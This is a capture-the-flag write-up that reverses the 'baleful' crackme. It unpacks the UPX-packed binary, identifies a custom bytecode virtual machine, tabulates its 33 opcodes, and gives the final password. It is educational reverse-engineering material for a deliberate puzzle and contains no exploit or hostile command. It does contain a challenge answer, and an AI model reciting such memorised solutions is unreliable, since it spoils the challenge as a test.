Before we start, know that this problem take an inordinate amount of time, and I will be glossing over a lot of my process in solving this. I will hit the highlights, but as with many things like this, practice makes perfect. Lets see what they give us.
This program seems to be rather delightfully twisted! Can you get it to accept a password? We need it to get access to some Daedalus Corp files.
And the hint,
This program appears to be "packed." Fortunately, it's packed with a common packer, and no trickery was performed - so you should be able to just unpack it with the same packer.
The hint turns out to be pretty useless. We learn the same thing by running strings on it, getting
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
Unpacking it is simply, just follow the url to upx and use it to unpack the binary. Now the fun begins.
Running baleful gives us the prompt,
Please enter your password: s00per_1337
Sorry, wrong password!
A simple binary reversing problem it would seem. Lets look at this in hopper.
Hmm, this is a pretty long one. We have a few methods at the beginning which seem to be primarily handlers for syscalls. Then we have one really long method which contains a 33 case switch statement on $eax. Now, after spending some time looking at the behavior of this code we notice a few things.
- The switch statement is called repeatedly, without interruption.
- The code is moving things around in memory, but ounly to a few specific data addresses.
- It takes many many interations for it to even print out the introduction.
While this may not be obvious for some people, after a while you realize that what we're looking at is virtual machine. In other words, this program is interpreting ANOTHER program, and those 33 cases are each operation codes, or opcodes, similarly to MOV, or PUSH, and AND are x86 opcodes.
At this point, anyone with any experience in reversing should be on the floor weeping. But fear not, we can get through this. Let's use hopper to produce pseudo-code for one of the opcodes. Here is opcode 5.
loc_8048cf9: //case 4
var_C = sign_extend_32(LOBYTE(*(int8_t *)(0x804c0c0 + var_34 + 0x1) & 0xff));
var_24 = sign_extend_32(LOBYTE(*(int8_t *)(0x804c0c0 + var_34 + 0x2) & 0xff));
eax = var_C;
if (eax != 0x1) {
if (eax <= 0x1) {
if (eax == 0x0) {
var_20 = *(ebp + sign_extend_32(LOBYTE(*(int8_t *)(0x804c0c0 + var_34 + 0x3) & 0xff)) * 0x4 + 0xffffff4c);
var_1C = *(ebp + sign_extend_32(LOBYTE(*(int8_t *)(0x804c0c0 + var_34 + 0x4) & 0xff)) * 0x4 + 0xffffff4c);
var_34 = var_34 + 0x5;
}
}
else {
if (eax != 0x2) {
if (eax == 0x4) {
var_20 = *(0x804c0c0 + var_34 + 0x3);
var_1C = *(0x804c0c0 + var_34 + 0x7);
var_34 = var_34 + 0xb;
}
}
else {
var_20 = *(0x804c0c0 + var_34 + 0x3);
var_1C = *(ebp + sign_extend_32(LOBYTE(*(int8_t *)(0x804c0c0 + var_34 + 0x7) & 0xff)) * 0x4 + 0xffffff4c);
var_34 = var_34 + 0x8;
}
}
}
else {
var_20 = *(ebp + sign_extend_32(LOBYTE(*(int8_t *)(0x804c0c0 + var_34 + 0x3) & 0xff)) * 0x4 + 0xffffff4c);
var_1C = *(0x804c0c0 + var_34 + 0x4);
var_34 = var_34 + 0x8;
}
*(ebp + var_24 * 0x4 + 0xffffff4c) = var_20 * var_1C;
var_28 = *(ebp + var_24 * 0x4 + 0xffffff4c);
goto loc_8049c67;
This looks bad, but we can dissect it. First of all, its creating two variables that are offset from var_34. This indicates to us that var_34 is the instruction pointer, and those two variables are the arguments. Its then switching along the first one with three cases, var_C (== eax) == 0x0, 0x1, 0x2, 0x(>2). Again, if we stare at this long enough we realize that these are just the four different addressing modes this command supports. When you see something like var_20 = *(ebp + sign_extend_32(LOBYTE(*(int8_t *)(0x804c0c0 + var_34 + 0x3) & 0xff)) * 0x4 + 0xffffff4c);, what you are looking at is a relative address. It grabs the value out of that block of emulated ram, and uses it as the argument. The syntax var_20 = *(0x804c0c0 + var_34 + 0x3); is immediate addressing, meaning take the actual value located after the opcode. Then at the very end, we see it performing a multiply operation on the arguments, and then storing it into var_24.
At this point, I'm not going to go step by step for each of the opcodes, but rather list them hear using their traditional names.
00 8048A4D nop
01 8048A56 ret
02 8048A8F add
03 8048BC4 sub
04 8048CF9 signed mul
05 8048E2F div
06 8048F91 xor
07 80495F5 neg
08 8049649 not
09 80490C6 and
0a 80491FB or
0b 804959E set if stack zero
0c 8049330 shl
0d 8049467 sar
0e 80496D1 load into v10, jump
0f 804969D call
10 80496EC jz
11 8049715 js
12 804973E jle
13 8049767 jg
14 8049790 jns
15 80497B9 jnz
16 80497E2 test
17 80498F0 cmp
18 8049A02 mov
19 8049A86 inc
1a 8049AB9 dec
1b 8049AEC pull from heap
1c 8049B43 place on heap
1d 8049C62 end/nop
1e 8049B92 push
1f 8049BF8 pop
20 8049C2E syscall
You should, however, go through and parse each one from either assembly or pseudocode to understand how it works. Here are a few more notes for those who want to try the problem.
- $ebp acts as the base pointer for the emulated RAM. This includes the emulated stack.
- A variable in the form var_34 means $ebp-0x34
- var_34 is the instruction pointer
- var_38 is the stack pointer
- The program itself's base location is 0x08040c0c0
- Input length is 30 characters
- Output is stderr not stdout
At this point however, I can't really help you anymore. Their are (as far as I know) two ways to go from here. Write your own disassembler that takes the program as input and outputs the computed assembly, or (as I did it), step through the program in GDB noting what it is doing, and then figuring out how it is checking the password. Either way, we eventually find it XORing two lists together (one that is four numbers long and therefore looping, and one that is the full length) and comparing the output to that. Ultimately we get the result packers_and_vms_and_xors_oh_my.
